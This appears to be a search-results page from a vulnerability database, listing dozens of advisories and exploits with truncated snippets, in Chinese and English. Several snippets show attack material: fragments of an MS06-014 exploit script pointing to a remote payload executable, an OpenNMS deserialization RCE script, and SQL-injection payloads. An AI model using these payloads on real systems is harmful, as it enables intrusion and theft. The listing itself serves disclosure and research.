56796 matches found
PHP FOpen Safe_Mode限制绕过漏洞
PHP是一款开放源代码的网络编程语言。 PHP存在安全模式绕过问题，远程攻击者可以利用漏洞写文件到其他未授权位置，建立文件并执行。 在PHP 5.2.0中可使用写模式绕过safemode，fopen函数描述如下： - -845-845--- Code from PHP520 ext/standard/file.c START stream = phpstreamopenwrapperexfilename, mode, useincludepath ? USEPATH : 0 | ENFORCESAFEMODE | REPORTERRORS, NULL, context; -...
Limbo CMS事件模块远程文件包含漏洞
Limbo是一种开源的基于PHP的Web内容管理系统。 Limbo CMS事件模块处理用户请求时存在输入验证漏洞，远程攻击者可能利用此漏洞在服务器上以Web进程权限执行任意命令。 Limbo事件模块相关的eventcal/modeventcal.php脚本没有正确验证lmabsolutepath参数的输入，允许攻击者通过包含本地或外部资源任意文件导致执行任意PHP代码。漏洞代码如下： includeonce$lmabsolutepath."components/comevent/lang/event.".$lmlanguage.".php";...
Sophos Anti-Virus SIT文档解析栈溢出漏洞
Sophos Anti-Virus是一款适用于多种操作系统的杀毒软件。 Sophos AntiVirus在解析SIT文档时存在栈溢出漏洞，远程攻击者可能利用此漏洞在扫描机器上执行指令。 CPIO文档中的超长非NULL字符结尾的文件名串会导致veex.dll发生栈溢出。 Sophos Anti-Virus http://www.sophos.com/support/knowledgebase/article/21637.html...
Mambatstaff MosConfig_Absolute_Path远程文件包含漏洞
Mambatstaff是一款基于Mambo的应用模块程序。 Mambatstaff不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB进程权限执行任意命令。 问题是'mambatstaff.php'脚本对用户提交的"mosConfigabsolutepath"参数缺少过滤，提交恶意的远程服务器作为包含对象，可导致以WEB进程权限执行任意PHP代码。 Mambo Mambatstaff Component http://mamboxchange.com/projects/mambatstaff/...
Microsoft Windows RASMAN服务栈溢出漏洞（MS06-025）
Microsoft Windows是微软发布的非常流行的操作系统。 Microsoft Windows远程访问连接管理器RASMAN存在可远程调用的RPC接口，其中RPC接口 RasRpcSubmitRequest存在若干安全漏洞，远程攻击者可能利用此漏洞在服务器上执行任意指令。 函数RasRpcSubmitRequest及其子函数对作为参数的函数指针的有效性检查不足；某些子函数对参数的处理存在缓冲区溢出漏洞；这些漏洞都可能被攻击者利用在服务器上执行任意指令，从而控制系统。 Microsoft Windows XP SP2 Microsoft Windows XP SP1 Microso...
MS Internet Explorer (MDAC) Remote Code Execution Exploit (MS06-014)
No description provided by source. !/bin/sh - "exec" "python" "-O" "$0" "$@" doc = """BL4CK - MS06-014 RDS.DataStore - Data Execution CVS-2006-0003 MS06-014 April 2006 this is a bit out-dated, but works very well Usage: ./bl4ckms06014.py http://omfg.what.ho.st/user/stage2.exe index.html Now uploa...
Chromium: Information disclosure via "memory_instrumentation::mojom::Coordinator" interface in "resource_coordinator" service(CVE-2018-6080)
VULNERABILITY DETAILS The "memoryinstrumentation::mojom::Coordinator" mojo interface is exposed by the "resourcecoordinator" service, running under the browser process. The interface requires the "app" capability https://cs.chromium.org/chromium/src/services/resourcecoordinator/manifest.json?l=8,...
OpenNMS Java Object Deserialization RCE
! /usr/bin/env python3 Credits: http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/opennms nessus/plugins/opennmsjavaserialize.nasl cobbled together by pancho import socket import sys def buildcmd:...
CPP-Ethereum JSON-RPC miner_stop improper authorization Vulnerability(CVE-2017-12118)
Summary An exploitable improper authorization vulnerability exists in minerstop API of cpp-ethereum's JSON-RPC commit 4e1015743b95821849d001618a7ce82c7c073768. A JSON request can cause an access to the restricted functionality resulting in authorization bypass. An attacker can send JSON to trigge...
ZKTeco ZKTime.Net 3.0.1.6 Insecure File Permissions
Summary ZKTime.Net V3.0 is a new generation time attendance management software. Meanwhile, it integrates with time attendance and access control system. Some frequently used functions such as attendance reports, device management and employee management can be managed directly on the home page...
Asus_GlobalWirteOverflow
Vulnerability: Global buffer overflow in networkmap ------------------------------------------ Exploitation: Can write data at any address in heap ------------------------------------------ Vendor of Product: Asus wireless router ------------------------------------------ Affected Products and...
ZTE ZXDSL Configuration Reset
Vulnerability Summary The following advisory describes a configuration reset vulnerability found in ZTE ZXDSL 831CII version 6.2. ZXDSL 831CII is “an ADSL access device to support multiple line modes. It supports ADSL2/ADSL2+ and is backward compatible to ADSL, even offers auto-negotiation...
Microsoft Edge: Chakra: JIT: Incorrect integer overflow check in Lowerer::LowerBoundCheck(CVE-2017-11861)
Here's a snippet of the method. void Lowerer::LowerBoundCheckIR::Instr const instr ... ifrightOpnd-IsIntConstOpnd IntConstType newOffset; if!IntConstMath::Addoffset, rightOpnd-AsIntConstOpnd-GetValue, &newOffset --- a offset = newOffset; rightOpnd = nullptr; offsetOpnd = nullptr; ... if!rightOpnd...
Foscam IP Video Camera UPnP Discovery Code Execution Vulnerability(CVE-2017-2879)
Summary An exploitable buffer overflow vulnerability exists in the UPnP implementation used by the Foscam C1 Indoor HD Camera running application firmware 2.52.2.43. A specially crafted UPnP discovery response can cause a buffer overflow resulting in overwriting arbitrary data. An attacker needs ...
Circle with Disney libbluecoat.so SSL TLD MITM Vulnerability(CVE-2017-2913)
Summary An exploitable vulnerability exists in filtering functionality of Circle with Disney. SSL certificates for specific domain names can cause the Bluecoat library to accept a different certificate than intended. An attacker can host an HTTPS server with this certificate to trigger this...
Network Time Protocol ntpd Reference Clock Impersonation Vulnerability(CVE-2016-1551)
SUMMARY ntpd relies on the underlying operating system to protect it from requests that impersonate reference clocks. Because reference clocks are treated like other peers and stored in the same structure, any packet with a source ip address of a reference clock 127.127.1.1 for example that reach...
Pidgin MXIT Suggested Contacts Memory Disclosure Vulnerability(CVE-2016-2375)
DESCRIPTION An exploitable out-of-bounds ready exists in the handling of the MXIT protocol in Pidgin. Specially crafted MXIT contact information sent from the server can result in memory disclosure. CVSSv3 SCORE 5.3 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N TESTED VERSIONS Pidgin 2.10.11 PRODU...
Mac OS X 10.12 isolation mechanism bypass vulnerability
Vulnerability summary Mac OS X a vulnerability exists that could allow an attacker to bypass the Apple of the isolation mechanism, without any restrictions to execute arbitrary JavaScript code. Vulnerability submitter From WeAreSegment security researcher Filippo Cavallarin to Beyond Security SSD...
Hancom Hangul HCell Workbook Table and Pivot Style Code Execution Vulnerability(CVE-2016-4293)
Description This vulnerability was discovered within the Hangul Hcell application which is part of the Hangul Office Suite. Hangul Office is published by Hancom, Inc. and is considered one of the more popular Office suites used within South Korea. When opening a Hangul Hcell Document .cell and...
Apple: OOB NUL byte write when handling WLC_E_TRACE event packets(CVE-2017-7112)
Broadcom produces Wi-Fi HardMAC SoCs which are used to handle the PHY and MAC layer processing. These chips are present in both mobile devices and Wi-Fi routers, and are capable of handling many Wi-Fi related events without delegating to the host OS. On iOS, the "AppleBCMWLANBusInterfacePCIe"...
Ichitaro Office Excel File Code Execution Vulnerability(CVE-2017-2790)
Summary A vulnerability was discovered within the Ichitaro word processor. Ichitaro is published by JustSystems and is considered one of the more popular word processors used within Japan. Ichitaro handles Microsoft Excel's .xls file format. When processing a record type of 0x3c from a Workbook...
PowerIso Parsing Code Execution Vulnerability(CVE-2017-2817)
Summary An stack buffer overflow vulnerability exists in the ISO parsing functionality of Power Software Ltd PowerISO. A specially crafted ISO file can cause a vulnerability resulting in potential code execution. An attacker can send a specific ISO file to trigger this vulnerability. Tested...
Foscam IP Video Camera CGIProxy.fcgi SMTP Test User Parameter Configuration Command Injection Vulnerability(CVE-2017-2842)
Summary An exploitable command injection vulnerability exists in the web management interface used by the Foscam C1 Indoor HD Camera running application firmware 2.52.2.37. A specially crafted HTTP request can allow for a user to inject arbitrary data in the "msmtprc" configuration file resulting...
Foscam IP Video Camera CGIProxy.fcgi Change Username pureftpd.passwd Injection Vulnerability(CVE-2017-2850)
Summary An exploitable injection vulnerability exists in the web management interface used by the Foscam C1 Indoor HD Camera running application firmware 2.52.2.37. A specially crafted HTTP request can allow for a user to inject arbitrary characters in the pureftpd.passwd file during a username...
Ledger CLI Account Directive Use-After-Free Vulnerability(CVE-2017-2808)
Summary An exploitable use-after-free vulnerability exists in the account parsing component of the Ledger-CLI 3.1.1. A specially crafted ledger file can cause a use-after-free vulnerability resulting in arbitrary code execution. An attacker can convince a user to load a journal file to trigger th...
Microsoft Edge Security Bypass Vulnerability(CVE-2017-8637)
There is an issue in Chakra JIT server that can be potentially exploited to compromise the JIT process from a compromised browser content process. Bugs like this could potentially be used to bypass ACG Arbitrary Code Guard in Microsoft Edge. The issue has been confirmed on a ChakraCore build from...
ThinkPHP5. 0. 10-3. 2. 3 cache function design flaws can lead to Getshell
0x00 framework operating environment ThinkPHP is a free open source, fast, simple object-oriented lightweight PHP development framework, in order to agile WEB application development and simplify enterprise application development and birth. ThinkPHP from inception has been adhering to the simple...
Multiple vulnerabilities in WePresent WiPG devices
Security Advisory: Multiple vulnerabilities in WePresent WiPG devices -------------------------------------------------------------------------------- 1. Summary This advisory describes multiple vulnerabilities affecting the WePresent WiPG devices. Most of the issues covered by this advisory appl...
Microsoft Windows Uniscribe Information Disclosure Vulnerability(CVE-2017-0284)
We have encountered a crash in the Windows Uniscribe user-mode library, in the USP10!ttoGetTableData function, while trying to display text using a corrupted TTF font file: --- 210.274: Access violation - code c0000005 first chance First chance exceptions are reported before any exception handlin...
Windows Kernel stack memory disclosure in win32k!ClientPrinterThunk(CVE-2017-8475)
We have discovered that it is possible to disclose portions of uninitialized kernel stack memory to user-mode applications in Windows 7 other platforms untested indirectly through the win32k!NtGdiOpenDCW system call. The analysis shown below was performed on Windows 7 32-bit. The full stack trace...
WebKit: UXSS through HTMLObjectElement::updateWidget(CVE-2017-2493)
When an object element loads a JavaScript URLe.g., javascript:alert1, it checks whether it violate the Same Origin Policy or not. Here's some snippets of the logic. void HTMLObjectElement::updateWidgetCreatePlugins createPlugins ... String url = this-url; ... if !allowedToLoadFrameURLurl return;...
Mozilla Firefox webkitdirectory local files disclosure (CVE-2017-5414)
I have reported three different bugs to Mozilla in the webkitdirectory feature. Luckily the folder picker was only implement in Mozilla's Nightly browser, which is meant to test out new features before landing in the stable version. Bug 1295914 - webkitdirectory could be used to trick users into...
Windows Kernel stack memory disclosure in win32kfull!SfnINLPUAHDRAWMENUITEM (CVE-2017-0167)
We have discovered that it is possible to disclose portions of uninitialized kernel stack memory to user-mode applications in Windows 10 indirectly through the win32k! NtUserPaintMenuBar system call, or more specifically, through the user32! fnINLPUAHDRAWMENUITEM user-mode callback 107 on Windows...
MacOS/iOS kernel uaf due to bad locking in necp_open (CVE-2017-2478)
necpopen is a syscall used to obtain a new necp file descriptor The necp file's fp's fgdata points to a struct necpfddata allocated on the heap. Here's the relevant code from necpopen: error = fallocp, &fp, &fd, vfscontextcurrent; --------------------- a if error != 0 goto done; if fddata =...
macOS iBooks Parsing a maliciously crafted iBooks file lead to local file disclosure（CVE-2017-2426）
On a previous post about ePub parsers This book reads you - exploiting services and readers that support the ePub book format, I mentioned using scripting capabilities in ePub to perform local attacks against users. Apple just released a fix for one issue I reported last year in iBooks that allow...
Huawei Flybox B660 Router to bypass authentication vulnerability
Huawei Flybox B660 Router to bypass authentication vulnerability Huawei Flybox B660 Router router device exists to bypass authentication vulnerability. Due to local path"./ htmlcode/html/"module and"indexdefault. asp"file exists vulnerability, a remote unauthenticated attacker could exploit the...
Remote Code Execution in CCTV-DVR
来源链接： http://www.kerneronsec.com/2016/02/remote-code-execution-in-cctv-dvrs-of.html This post is going to be a follow up from a research which dates back to December 2014, called "The Backoff POS Trojan operation". Back then, one of the key conclusions highlighted from the report is that fraudste...
MetInfo 5.1.7 about/index.php 任意文件包含漏洞可getshell
No description provided by source...
双杨OA /ispirit/go.php 文件 LOGIN_UID 参数SQL注入漏洞
No description provided by source...
StrongSoft灾害预警系统ContactUpdate.aspx ContactID参数SQL注入漏洞
注入链接：/Duty/MailList/ContactUpdate.aspx 注入参数：ContactID Payload：ContactID=-1+and+1=@@version...
shop7z 商城系统在/Advsearchadmin.asp 处参数kindnum存在SQL注入漏洞
0x01漏洞简介 shop7z商城系统在Advsearchadmin.asp 处的参数kindnum由于过滤不严，存在kindnumSQL注入漏洞。远程攻击者可以利用该漏洞执行任意SQL指令。 0x02漏洞分析 Advsearchadmin.asp代码如下： kindnum=trimrequest"kindnum" pipai=trimrequest"pipai" model=trimrequest"model" productname=trimrequest"productname" price11=trimrequest"price11"...
B&B ELECTRONICS XR5i v2E/XR5i v2/XR5i/XR5i SL 弱口令
参考链接: http://www.cd.lucom.de/vpn-industrie-router/dokumentation/handbuch/xr5iv2e-guide.pdf...
Redmine 未授权访问漏洞
No description provided by source...
Windows ATMFD.DLL CFF table (ATMFD+0x3440b / ATMFD+0x3440e) Invalid Memory Access
CVE-2015-2460We have encountered a number of Windows kernel crashes in the ATMFD.DLL OpenType driver while processing corrupted OTF font files, such as: ---PAGEFAULTINNONPAGEDAREA 50Invalid system memory was referenced. This cannot be protected by try-except,it must be protected by a Probe...
Microsoft Office Excel 2007, 2010, 2013 - BIFFRecord Use-After-Free
CVE-ID：CVE-2015-2523受影响版本：Microsoft Office 2007Microsoft Office 2010Microsoft Office 2013Microsoft Office 2013 RT漏洞详情：The minimized crashing file shows two deltas from the original. The first at offset 0x237 is in the data of the 4th BIFFRecord and the second delta at offset 0x34a5 is in the type...
XR网关平台SQL注入
在IP/msa/main.xp ，username处存在SQL注入（post） !/usr/bin/env python coding=utf-8 import requests def login: url = target + '/msa/main.xp' data = 'Fun':'msaAdminLogon', 'username': "admin' or'1'='1", 'password': '123456' req = requests.posturl = url, data = data print req.text def download: url = target ...
齐博分类信息系统最新版前台存储型XSS一枚
简要描述： 原本想搞个校园二手交易平台，下载了这个分类系统，测试时发现了这个存储型 估计是设计者忘了过滤这个参数吧- - ，不应该出现 详细说明： 下载了最新的齐博分类系统，搭建环境xampp+win764 安装完后，齐博分类信息默认游客可以免费发两条信息，其他权限用户组发布信息权限可以后台设置。存储型xss就发现在发布信息的时候。 因为我后台设置游客不能发，所以以admin权限发布一下信息看看。。。具体信息填写如下图： 漏洞证明： 限制字符长度为30个字符，我没有短域名，，，，，只能alert一下啦=。= 来看看代码 发布信息提交后电话那一栏信息提交为 postdbtelephone ...